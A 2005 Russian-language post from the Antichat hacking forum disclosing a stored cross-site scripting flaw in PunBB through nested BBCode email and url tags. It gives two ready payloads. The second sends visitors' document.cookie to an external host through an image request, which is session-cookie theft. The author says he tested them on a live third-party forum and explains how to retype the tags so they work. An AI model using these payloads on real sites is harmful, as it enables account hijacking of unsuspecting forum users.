Форум АНТИЧАТ - XSS в PunBB (вложеные теги)

XSS в PunBB (вложеные теги)

31.03.2005, 17:09

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

XSS в PunBB (вложеные теги)

Нашел вложеные теги, сделал видео.

1.

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));

Код:

[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null` style=top:expression(eval(this.xss));

ВНИМАНИЕ! Намеренно (чтобы теги не парсились) я написал [емейл] через _рускую_ е и url тоже через Л.
Перепешите А НЕ КОПИРУЙТЕ ТЕКСТ!

Проверялось на http://region59.com/forum - между прочим хороший варез - сайт

Последний раз редактировалось KEZ; 31.03.2005 в 17:12..